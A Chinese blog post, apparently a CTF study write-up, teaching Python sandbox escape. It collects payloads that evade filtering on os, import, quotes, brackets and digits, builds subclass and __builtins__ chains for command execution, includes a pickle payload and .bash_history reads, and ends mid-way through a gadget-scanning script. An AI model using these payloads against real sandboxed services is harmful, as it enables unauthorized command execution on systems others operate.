python沙箱逃逸

GTL-JU Lv3

python沙箱逃逸

在国赛线下赛遇到了python沙箱逃逸的题目,之前在python这块接触的不是很多,这篇文章算是对python沙箱逃逸进行了学习,对着网上师傅的文章进行了复现和学习。文章链接放在文章末了。

一、关于沙箱逃逸

我们先了解一下什么是沙箱?

沙箱是一种安全机制,用于隔离和限制应用程序或代码的行为。它创建了一个受限的环境,以防止恶意代码对系统造成损害。沙箱通常用于执行不受信任的代码,如浏览器中的JavaScript或其他不受信任的应用程序。它们限制了代码的权限和访问能力,以确保其不能对底层系统或其他应用程序造成危害。

所以说沙箱逃逸就是要突破沙箱,绕过各种过滤和限制,最终可以执行系统任意命令,写文件或者读取文件。

二、如何沙箱逃逸

导入模块

我们先了解一下python导入模块的机制:

导入模块时,Python首先检查sys.modules字典,以确定是否已经加载了该模块。sys.modules是一个全局字典,它用于缓存已导入的模块,其中键是模块名,值是对应的模块对象。如果模块已经在sys.modules中,Python会直接使用缓存的模块对象,而不会重新加载该模块

如果模块没有在sys.modules中,则Python会按照一定的顺序在sys.path列表中的目录中查找模块文件。sys.path是一个包含目录路径的列表,用于指定Python解释器在哪些位置查找模块文件。默认情况下,sys.path包括当前目录、Python安装路径、Python标准库路径、以及其他用户定义的路径

找到模块文件后,Python会加载它并执行其中的代码。在执行模块文件时,模块的全局命名空间会被创建,并在其中定义函数、类、变量等。执行完成后,Python会将模块对象添加到sys.modules字典中,以便下次导入时直接使用缓存的模块对象

当使用import a时,只有模块a会添加至sys.modules中,并导入到当前命名空间。但是,如果在a.py中存在import b语句,那么在导入模块a时,Python会先检查b是否已经在sys.modules中,如果已经存在,则直接使用缓存的模块对象。否则,Python会继续按照上述步骤查找并加载b模块。

当使用from x import y时,只有模块x会添加至sys.modules中,并导入到当前命名空间。这里的yx模块中定义的函数、类、变量等。而不会将y添加至sys.modules中,只有x模块会添加。

下面是我们一一些导入方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import xxx

from xxx import *

__import__('xxx')

import sys
sys.modules['xxx']='blacklist'
del sys.modules['xxx']
import xxx

a = open('/usr/lib/python3.8/xxx.py').read()
exec(a)

# Python2
execfile('/usr/lib/python2.7/xxx.py')

在python命令执行中我们最经常导入的就是os模块

os模块中提供了许多用于处理文件系统,路劲,进程管理登操作的函数

我们经常通过导入os模块进行命令执行

1
2
3
4
5
import os

os.system("whoami")

#laptop-6degb138\

我们这里其实就是调用os模块中的system方法调用操作系统的命令行解释器来执行我们给定的命令

那么最简单沙箱就是直接将import os给禁止了

但是这样的也很好绕过,我们可以通过多加空格的方式绕过

1
2
3
import  os
import os
import os

这就是一个简单的沙箱逃逸例子

当然这种情况可以通过把空格也给ban掉、

但是在python中可以进行导入并不是只有import

我们还可以通过__import__importlib

1
2
3
__import__('os')
importlib.import_module('os').system('ls')
Python中的import语句在代码编写阶段就确定了要导入的模块,而import_module() 允许在代码运行过程中根据需要导入模块。

在 Python 中,import 语句的本质就是执行一遍导入的模块(库)。

那么这个过程我们可以通过其他方法来实现

execfile()

1
2
3
4
execfile(filename, globals=None, locals=None)
filename:要执行的外部 Python 文件的文件名。
globals:全局命名空间字典,如果不指定,则使用当前的全局命名空间。
locals:局部命名空间字典,如果不指定,则使用 globals 字典作为局部命名空间。

这里使用execfile()函数可以直接在当前 Python 程序中执行指定的 Python 文件。它会读取文件中的代码,并在当前命名空间中执行这些代码。因此,文件中定义的函数、类、变量等将会在执行后在当前程序中可用

那我们不就可以通过它去实现import导入模块的功能

示例:

my_module.py

1
2
3
4
# my_module.py

def say_hello(name):
print(f"Hello, {name}!")

main.py

1
2
3
4
5
6
7
8
9
10
11
# main.py

import my_module

def main():
name = "John"
my_module.say_hello(name)

if __name__ == "__main__":
main()

image-20230720094745117

当然我们也可以通过这种方法导入os模块

1
2
execfile('/usr/lib/python2.7/os.py')
system('whoami')

image-20230720100115779

但是这种方法只能在python2中使用python3中删除了这个函数

但是我们可以通过这种方式来实现

1
2
3
4
5
6
7
8
9
10
11
12
import builtins

def execfile(filename):
with open(filename, 'r') as file:
code = file.read()
exec(code, globals())

# 假设有一个名为 example.py 的文件,内容如下:
# print("Hello, World!")

execfile("example.py") # 在当前命名空间中执行 example.py 文件

当然我们也可以通过这种方法导入os模块进行命令执行

1
2
3
4
with open('/usr/lib/python3.11/os.py','r') as f:
exec(f.read())

system('pwd')

image-20230720100721603

这种方法实在python2和python3中都适用的

获取库的路径:

1
2
3
4
5
6
import sys

# 获取os模块所在的文件路径
os_module_path = sys.modules['os'].__file__

print("os.py 的路径:", os_module_path)

当然这种情况下,sys杯ban了我们还可以使用importlib 模块

1
2
3
4
5
6
7
8
9
import importlib

# 动态导入 os 模块
os_module = importlib.import_module('os')

# 获取 os 模块所在的文件路径
os_module_path = os_module.__file__

print("os.py 的路径:", os_module_path)

各种过滤

过滤字符串

上面是我们关于导入模块的一些手法,在沙箱环境中,为了避免用户执行命令或者其他操作,通常会把一些命令或者命令执行,文件操作函数这些字符串给禁止掉

例如在一些沙箱中,如果匹配到os,会直接不让运行,那么这种情况我们就可以通过变化字符来使用os

1
__import__('so'[::-1]).system('dir')

image-20230720103821930

这样来通过一个例子来进行演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os

def execute_command(command):
# 在这里添加限制代码,禁止使用os模块
if 'os' in command:
print("Sorry, the 'os' module is not allowed.")
else:
try:
output = eval(command)
print("Output:", output)
except Exception as e:
print("Error:", e)

if __name__ == "__main__":
print("Welcome to the command execution challenge!")
print("You can enter any Python expression to execute.")
print("Type 'exit' to quit.")

while True:
user_input = input(">>> ")
if user_input.lower() == 'exit':
break
execute_command(user_input)

image-20230720104027703

可以看到我们成功突破了沙箱的限制

当然我们也可以使用拼接的方法

1
2
3
4
b = 'o' 
a = 's'
__import__(b+a).system('ls')
即:__import__('o'+'s').system('ls')

image-20230720104348087

当然我们也可以逆序配合eval和exec来使用

1
2
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

当然这是一些基本的逃逸方式,对于python沙箱逃逸来说,php的字符过滤绕过方式同样适用

逆序,拼接,编码等等这些都可以应用于沙箱逃逸

这里还以os被过滤为例:

1
2
3
4
5
6
7
__import__(base64.b64decode('b3M=').decode('utf-8')).system('dir')
__import__('\x6f\x73').system('dir')#16进制编码
__import__('\u006f\u0073').system('dir')#unicode编码
__import__('o'+'s').system('dir')#拼接
__import__('o''s').system('dir')#拼接
__import__('o'.__add__('s')).system('dir')#add是字符串的内置方法,用于拼接字符串
__import__('%c%c'% (111,115)).system('dir')#格式化字符串表示

我们通过格式化字符串表示整个paylaod:

1
2
__import__(os).system('dir')
'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c' %(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,115,121,115,116,101,109,40,39,100,105,114,39,41)

但是这里直接执行时不行的,因为我们这样构造出来的其实是一个字符串形式的代码,所以为了实现字符串 'os.system("dir")' 的执行,需要使用 eval() 函数。eval() 函数将字符串作为Python表达式进行解析和执行,并且返回表达式的结果

image-20230720114616897

那这种方式我们几乎所有的字符串都可以构造

过滤[]

这就是很常规的过滤了

我们可以将[]用pop或者__getitem__代替

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()

过滤引号

chr()

1
os.system(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))

利用str和[]拼接字符

1
2
os.system(str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
)

当然str被过滤,我们可以使用type(‘’)()、format

在 Python 中,type 是一个内置函数,可以用于创建新的类型或查看对象的类型。当 type 函数只传入一个参数时,它会返回该参数的类型。但是,当 type 函数传入三个参数时,它会返回一个新的类型对象,其中第一个参数是类型的名称,第二个参数是基类(继承的父类),第三个参数是一个包含类的属性和方法的字典。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 构造一个空的字符串实例
str_instance = type('')()

# 构造一个整数实例
int_instance = type(42)()

# 构造一个空列表实例
list_instance = type([])()

# 构造一个自定义类的实例
MyClass = type('MyClass', (object,), {'x': 10})
my_instance = MyClass()

# 输出实例类型
print(type(str_instance)) # <class 'str'>
print(type(int_instance)) # <class 'int'>
print(type(list_instance)) # <class 'list'>
print(type(my_instance)) # <class '__main__.MyClass'>

格式化字符串

这个在我们上面过滤字符串就有应用了

1
(chr(37)+str({}.__class__)[1])%100 == 'd'

dict

1
2
3
'whoami'
list(dict(whoami=1))[0]
str(dict(whoami=1))[2:8]

image-20230720194250429

过滤数字

1
2
3
4
5
6
7
8
9
10
11
12
13
0:int(bool([]))、Flase、len([])、any(())
1:int(bool([""]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())

len(str({}.keys)) 但是需要找长度合适的字符串

1.0 float(True)

-1:~0
其实通过0就可以构造出所有
0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4

过滤空格

我们可以通过(),[]替换掉

1
2
3
[i for i in range(10) if i == 5] 
可以替换为
[[i][0]for(i)in(range(10))if(i)==5]

这里应该编码可以绕过,类似于php上面的空格绕过手法

sys.modules恢复

我们上面说sys.modules是一个字典,里面储存了加载过的模块信息,在python启动的时候,解释器会自动加载一些默认模块例如os、sys、math等,但是我们不能够直接使用,sys.modules未经inport加载的模块对当前空间是不可见的,但是我们可以通过 sys.modules 来使用如 sys.modules[“os”]

那么经过上面我们那么多种绕过对os的过滤方法,那我们可不可以直接把os模块给删除了,这样攻击者就不能调用os模块来进行命令执行

但是这样真的行吗?我们来尝试一下

1
2
3
4
5
import sys

sys.modules['os'] = 'not allowed'
import os
os.system('dir')

image-20230720122459683

上面我们用的是替换模块值,那我们这里直接用del删除了试试

1
2
3
4
5
6
7
import sys

sys.modules['os'] = 'not allowed'

del sys.modules['os']
import os
os.system('dir')

运行结果:

image-20230720122635251

根据运行结果我们可以看到我们用了del sys.modules[‘os’] 命令可以执行成功

我们上面说了,当import导入一个模块时,会先检查sys,modules里面是否已经有这个模块,如果有则不加载,如果没有则会为这个模块创建module对象并加载这个模块

所有我们通过del删除模块,只会让python在导入一次

命令执行

在沙箱中最常见的就是把一下命令执行方法或者模块给ban掉。

这种我们在php中也很常见,我们在php中的绕过方法就是使用其他的命令执行函数

在python中同样存在很多可以进行命令执行和文件操作的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
os.system('whoami')
os.popen('whoami').read()
# Python2
os.popen2('whoami').read()
os.popen3('whoami').read()
...

subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# Python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

platform.popen('whoami').read()

# Python2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')

timeit.timeit("__import__('os').system('whoami')", number=1)

bdb.os.system('whoami')

cgi.os.system('whoami')

importlib.import_module('os').system('whoami')
# Python3
importlib.__import__('os').system('whoami')

pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")

eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))


# Linux
pty.spawn('whoami')
pty.os.system('whoami')


# 文件操作
open('.bash_history').read()
linecache.getlines('.bash_history')
codecs.open('.bash_history').read()

# Python2
file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')


# 函数参数
foo.__code__.co_argcount
# Python2
foo.func_code.co_argcount

# 函数字节码
foo.__code__.co_code
# Python2
foo.func_code.co_code

...

除了用其他命令执行函数来代替我们还可以使用getattr 拿到对象的方法、属性

我们这里先简单了解一下这个函数

getattr() 是一个内置函数,用于获取对象的属性值。它接受三个参数:对象、属性名和可选的默认值。当对象拥有指定的属性时,getattr() 返回该属性的值;如果对象没有该属性,则可以提供默认值作为返回值。

语法:

1
getattr(object, name[, default])
  • object: 要获取属性的对象。
  • name: 属性名,一个字符串,表示要获取的属性的名称。
  • default (可选): 如果对象没有指定的属性,则返回这个默认值。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
person = {'name': 'John', 'age': 30}
name = getattr(person, 'name')
print(name) # 输出: John

获取类的方法:
class MyClass:
def say_hello(self):
print("Hello, world!")

method = getattr(MyClass(), 'say_hello')
method() # 输出: Hello, world!

那么基于这种特性我们可以获取模块中的属性或者方法

1
2
import os
getattr(os, 'metsys'[::-1])('whoami')

即使import被过滤我们仍然可以使用

1
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

image-20230720124505474

那么这样的话,我们也可以通过这个手法来逃逸对import有限制的沙箱

内置模块的应用

在上面我们通过getattr函数去获取模块中的属性或者方法,当import被禁用了,我们这里是通过getattr方法获取到__builtins__中的import。

但是我们可以发现我们在使用__builtins_并没有导入,这是因为在python中,有很多函数不需要任何import导入就可以使用。

这是因为python中存在一种内置模块,包含了一下常用的内置函数,和工具,在python解释器刚启动的时候内置模块就会自动加载

并且其中的内置功能会被添加到全局命名空间中,使得我们可以直接在任何地方使用,无需额外导入。

然后我们这里了解一下__builtins__ builtins __builtin__

__builtins__ 是一个在 Python 启动时创建的特殊变量,它是一个字典,它包含了所有内置的函数、异常和异常工具。在python解释器刚启动的时候,__builtins__模块会自动加载,并且其中的内置功能会被添加到全局命名空间中,使得我们可以直接在任何地方使用,无需额外导入,存在于python2和python3中。

builtins 是 Python 3 中的内置模块,包含了所有内置的函数、异常和常用工具。在 Python 3 中,你可以使用 import builtins 来导入 builtins 模块,并使用 builtins 来访问其中的内置功能。

__builtin__ 是 Python 2 中的内置模块,与 Python 3 中的 builtins 扮演相同的角色。它包含了所有内置的函数、异常和常用工具。

关于三者的具体描述和区别可以参考这篇文章

https://blog.51cto.com/xpleaf/1764849

我们通过遍历可以看到__builtins__中有很多内置函数

1
2
for name in dir(__builtins__):
print(name)

image-20230720151933663

可以看到在这里面存在__import__、eval这些危险函数

但是因为__builtins__是一个模块,所有我们如果想要调用里面的函数,我们需要通过__dict__属性

  1. 内置的数据类型没有 __dict__ 属性
  2. 每个类有自己的 __dict__ 属性,就算存着继承关系,父类的 __dict__ 并不会影响子类的 __dict__
  3. 对象也有自己的 __dict__ 属性,包含 self.xxx 这种实例属性

哪这样的话我们就可以通过__builtins__进行命令执行

1
__builtins__.__dict__['__import__']('os').system('whoami')

image-20230720153018926

那么这样我们可以看到这个内置模块的存在很多危险函数

那么一些环境为了安全就会把这是内置模块中的危险方法给删除掉

1
2
3
4
5
6
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['exec']
del __builtins__.__dict__['execfile']
del __builtins__.__dict__['getattr']
del __builtins__.__dict__['input']

但是我们可以通过重写导入内建模块,从而恢复这些内置方法

1
2
3
4
5
imp.reload(__builtins__)

# Python2
reload(__builtins__)
python2中reload也是内建模块,可以通过del __builtins__.reload删掉。

利用继承关系构造逃逸链进行逃逸

在python中允许多重继承,当一个类继承多哥父类的时候,可能存在同名方法,为了确定方法的调用顺序。python使用mro算法来决定使用那个父类的方法

mro就是方法解析顺序,我们可以通过查看类的__mro__属性或者调用.mro来查看类的方法解析顺序。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class A:
def hello(self):
print("Hello from A")

class B(A):
def hello(self):
print("Hello from B")
super().hello()

class C(A):
def hello(self):
print("Hello from C")
super().hello()

class D(B, C):
pass

# 查看类 D 的方法解析顺序
mro_d = D.mro()
print(mro_d)
# 输出: [<class '__main__.D'>, <class '__main__.B'>, <class '__main__.C'>, <class '__main__.A'>, <class 'object'>]

在 Python 中,类的实例可以通过 __class__ 属性来获取其对应的类。这个属性指向创建该实例的类。同时,Python 3 中新式类默认继承 object 类,因此几乎所有的类都是 object 的子类

以下是关于 __class____base____bases__ 的一些说明:

  1. __class__ 属性:这是一个指向类的引用,通过实例可以获取其所属的类。
  2. __base__ 属性:__base__ 是 Python 2 中的特性,它指向类的直接父类。在 Python 3 中不再使用 __base__ 属性。
  3. __bases__ 属性:__bases__ 是 Python 2 和 Python 3 中共有的属性,它是一个元组,包含了类的所有父类。对于新式类,__bases__ 中的第一个元素一定是 object 类。

object的子类导入危险模块

如果object的子类导入了危险模块,那我们就可以链式调用危险方法

那么我们如何利用他进行沙箱逃逸呢?

我们这里还以os为例:

os模块被禁止导致我们不能够直接导入os模块进行使用,但是site库里面有os,那我们就可与通过site库调用os

image-20230720155649453

image-20230720155737200

那么只要我们能够引入site,那么我们就可以使用os

当然,site也可能会被禁用

但是正如我们在内置模块中的应用一样,我们可以通过reload重新导入,加载os

image-20230720160914809

我们上面说了,所有类都继承于object类

那我们可以通过__subclasses__查看他的子类

那我们这里先构造获取到object类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
[].__class__.__bases__[0]
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__mro__[1]
().__class__.__mro__[1]
{}.__class__.__mro__[1]

# Python3
''.__class__.__base__
''.__class__.__mro__[1]

# Python2
''.__class__.__mro__[2]

然后我们就可以看它的子类:

1
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i

image-20230720161651311

我们可以看到site也在里面

我们上边分析了可以通过site调用os模块

那我们这里就可以构造逃逸链获取到os模块

这里只有site的方法,那我们可以使用__globals__获取全局变量从而获得os

我们这里使用site._Printer为例来获得os

我们可以通过其全局变量__globals__获取os模块

__globals__

是函数所在的全局命名空间中所定义的全局变量。也就是只要是函数就会有这个属性。除了 builtin_function_or_method 或者是 wrapper_descriptormethod-wrapper 类型的函数,例如 rangerange.__init__''.split 等等

那我们这里可以先看一下里面有哪些函数或者方法:

1
2
3
4
5
6
7
8
9
import site


printer_members = dir(site._Printer)


for member in printer_members:
print(member)

我们可以通过内置函数或者这些存在site._Printer里面的函数调用__globals__属性获得os

那我们这里就可以构造逃逸链获得os:(python2中可用,py3.x 中已经移除了这里 __globals__

1
2
3
4
5
6
7
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('dir')

''.__class__.__mro__[-1].__subclasses__()[72]._Printer__setup.__call__(eval, "__import__('os').system('whoami')")

''.__class__.__mro__[-1].__subclasses__()[72]._Printer__setup.__globals__['os']
避免依赖于索引位置的方式来获取 _Printer 类,而是通过检查类的名称来获得对应的子类
[i._Printer__setup.__globals__['os'] for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_Printer"]

那么通过这种逃逸链我们就可以得到os模块

当然不只是这一种:

warnings(python2)

1
2
import warnings
warnings.linecache.os

image-20230720172906065

我们可用通过多重寻找的方法获取os

同样的我们的继承链构造为:

1
2
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')

除了linecache,warnings里面还有一一个函数warnings.catch_warnings里面有_module属性

image-20230720173705814

构造逃逸链POC:

1
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')

image-20230720174914294

但是上面说的都是在python2中才能使用,python 3warnings中的linecache被删除了

所有我们无法使用上面的方法

但是在python3中有__builtins__

image-20230720180216542

而且还存在一个os._wrap_close

那么我们就可用构造逃逸链:

1
2
3
4
5
6
7
''.__class__.__mro__[-1].__subclasses__()[139].__init__.__globals__['system']('whoami')
或者:
[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')

set.mro()[-1].__subclasses__()[133].__init__.__globals__['system']('whoami')
或者直接使用object
object.__subclasses__()[139].__init__.__globals__['system']('whoami')

object子类导入危险方法

如果object的的子类导入了危险方法,那我们就可以调用子类的危险方法

例如object的子类builtin_function_or_method中导入了__call__方法

构造逃逸链:

1
2
3
4
5
6
python3
object.__subclasses__()[7].__call__(eval, "__import__('os').system('whoami')")

python2
object.__subclasses__()[29].__call__(eval, "__import__('os').system('whoami')")

利用异常逃逸

1
2
3
4
5
hack = lambda : [0][1]
try:
hack()
except Exception as e:
e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('whoami')

这一部分参考文章上面是写了,但是我本地并没有复现成功

利用format

1
2
3
4
"{0.__class__.__base__}".format([])
"{x.__class__.__base__}".format(x=[])
"{.__class__.__base__}".format([])
("{0.__class_"+"_.__base__}").format([])

分析:

  1. "{0.__class__.__base__}".format([]): 这个代码将一个空列表 [] 作为参数传递给 format 方法,然后使用 {} 来进行字符串格式化。在这里,0 表示参数列表的第一个元素,也就是空列表 []__class__ 是获取对象的类,而 __base__ 则是获取类的基类。因此,这个代码的结果是输出 list 类的基类,也就是 object

  2. "{x.__class__.__base__}".format(x=[]): 这个代码与第一个类似,只是使用了命名参数 x 来表示传递的空列表 []。在这里,x 对应传递的参数,即空列表 []。因此,这个代码的结果同样是输出 list 类的基类,也就是 object

  3. "{.__class__.__base__}".format([]): 这个代码中使用了 . 来表示格式化的位置,表示传递的参数在格式化字符串之外。在这里,空列表 [] 是作为参数传递给 format 方法,而 . 则表示使用该参数进行格式化。因此,这个代码的结果同样是输出 list 类的基类,也就是 object

  4. ("{0.__class_"+"_.__base__}").format([]): 这个代码的逻辑与第一个相同,只是字符串拼接使用了字符串连接符 _。由于在 {} 内不能直接使用 _,所以需要分开写。结果同样是输出 list 类的基类,也就是 object

构造思路

在参考文章上面,有一个很好的总结,这里借用一下:

以下是构造逃逸链的思路:

1
2
3
4
5
6
7
思路一:如果object的某个派生类中存在危险方法,就可以直接拿来用

思路二:如果object的某个派生类导入了危险模块,就可以链式调用危险方法

思路三:如果object的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用

思路四:基本类型的某些方法属于特殊方法,可以通过链式调用

然后文章上面也给出了获得poc的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
# coding: utf-8

import sys

# https://github.com/python/cpython/tree/2.7/Lib
# ls -l /usr/lib/python2.7 | awk '{print$9}' | grep -v '.pyc\|this\|antigravity'

# Python2标准库模块
modules2 = ['_abcoll', 'abc', 'aifc', 'anydbm', 'argparse.egg-info', 'argparse', 'ast', 'asynchat', 'asyncore', 'atexit', 'audiodev', 'base64', 'BaseHTTPServer', 'Bastion', 'bdb', 'binhex', 'bisect', 'bsddb', 'calendar', 'CGIHTTPServer', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'ConfigParser', 'config-x86_64-linux-gnu', 'contextlib', 'cookielib', 'Cookie', 'copy', 'copy_reg', 'cProfile', 'csv', 'ctypes', 'curses', 'dbhash', 'decimal', 'difflib', 'dircache', 'dis', 'dist-packages', 'distutils', 'doctest', 'DocXMLRPCServer', 'dumbdbm', 'dummy_threading', 'dummy_thread', 'email', 'encodings', 'ensurepip', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fpformat', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib', 'HTMLParser', 'httplib', 'ihooks', 'imaplib', 'imghdr', 'importlib', 'imputil', 'inspect', 'io', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'lib-tk', 'LICENSE.txt', 'linecache', 'locale', 'logging', '_LWPCookieJar', 'macpath', 'macurl2path', 'mailbox', 'mailcap', 'markupbase', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify', 'modulefinder', '_MozillaCookieJar', 'multifile', 'multiprocessing', 'mutex', 'netrc', 'new', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'optparse', 'os2emxpath', 'os', '_osx_support', 'pdb.doc', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plat-x86_64-linux-gnu', 'plistlib', 'popen2', 'poplib', 'posixfile', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', 'pyclbr', 'py_compile', 'pydoc_data', 'pydoc', '_pyio', 'Queue', 'quopri', 'random', 'repr', 're', 'rexec', 'rfc822', 'rlcompleter', 'robotparser', 'runpy', 'sched', 'sets', 'sgmllib', 'sha', 'shelve', 'shlex', 'shutil', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'SocketServer', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'sre', 'ssl', 'stat', 'statvfs', 'StringIO', 'stringold', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunaudio', 'sunau', 'symbol', 'symtable', '_sysconfigdata', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'toaiff', 'tokenize', 'token', 'traceback', 'trace', 'tty', 'types', 'unittest', 'urllib2', 'urllib', 'urlparse', 'UserDict', 'UserList', 'user', 'UserString', 'uuid', 'uu', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'whichdb', 'wsgiref', 'wsgiref.egg-info', 'xdrlib', 'xml', 'xmllib', 'xmlrpclib', 'zipfile']

# Python3标准库模块
modules3 = ['abc', 'aifc', 'argparse', 'ast', 'asynchat', 'asyncio', 'asyncore', 'base64', 'bdb', 'binhex', 'bisect', '_bootlocale', 'bz2', 'calendar', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', '_collections_abc', 'colorsys', '_compat_pickle', 'compileall', '_compression', 'concurrent', 'config-3.8-x86_64-linux-gnu', 'configparser', 'contextlib', 'contextvars', 'copy', 'copyreg', 'cProfile', 'crypt', 'csv', 'ctypes', 'curses', 'dataclasses', 'datetime', 'dbm', 'decimal', 'difflib', 'dis', 'dist-packages', 'distutils', 'doctest', 'dummy_threading', '_dummy_thread', 'email', 'encodings', 'ensurepip', 'enum', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'html', 'http', 'imaplib', 'imghdr', 'importlib', 'imp', 'inspect', 'io', 'ipaddress', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'LICENSE.txt', 'linecache', 'locale', 'logging', 'lzma', 'mailbox', 'mailcap', '_markupbase', 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'operator', 'optparse', 'os', '_osx_support', 'pathlib', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plistlib', 'poplib', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', '_py_abc', 'pyclbr', 'py_compile', '_pydecimal', 'pydoc_data', 'pydoc', '_pyio', 'queue', 'quopri', 'random', 'reprlib', 're', 'rlcompleter', 'runpy', 'sched', 'secrets', 'selectors', 'shelve', 'shlex', 'shutil', 'signal', '_sitebuiltins', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'socketserver', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'ssl', 'statistics', 'stat', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunau', 'symbol', 'symtable', '_sysconfigdata__linux_x86_64-linux-gnu', '_sysconfigdata__x86_64-linux-gnu', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'tkinter', 'tokenize', 'token', 'traceback', 'tracemalloc', 'trace', 'tty', 'turtle', 'types', 'typing', 'unittest', 'urllib', 'uuid', 'uu', 'venv', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'wsgiref', 'xdrlib', 'xml', 'xmlrpc', 'zipapp', 'zipfile', 'zipimport']

# 危险模块
methods = ['sys', 'os', 'system', 'popen', 'subprocess', 'platform', 'commands', 'timeit', 'bdb', 'cgi', 'importlib', 'pickle', 'pty', '__builtins__', '__import__', 'import_module', 'eval', 'exec', 'spawn', 'file', 'linecache', 'types']

# 基本类型
types = ['', [], (), {}]

# object的派生类
subclasses = {}

# 危险标准库模块
risk_modules = {}

# 遍历派生类并获取模块
for i in range(0, len(object.__subclasses__())):
try:
subclasses[i] = object.__subclasses__()[i].__init__.__globals__.keys()
except Exception as e:
# print(e)
pass

print('------------------------------ object导入危险模块 ------------------------------')

# 导入了危险模块的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for method in methods:
if method == submodule:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{method}']".format(i=i, method=method))

print('------------------------------ 缓冲区 ------------------------------')

# 判断Python版本
if (sys.version_info[0]) == 3:
modules = modules3
else:
modules = modules2

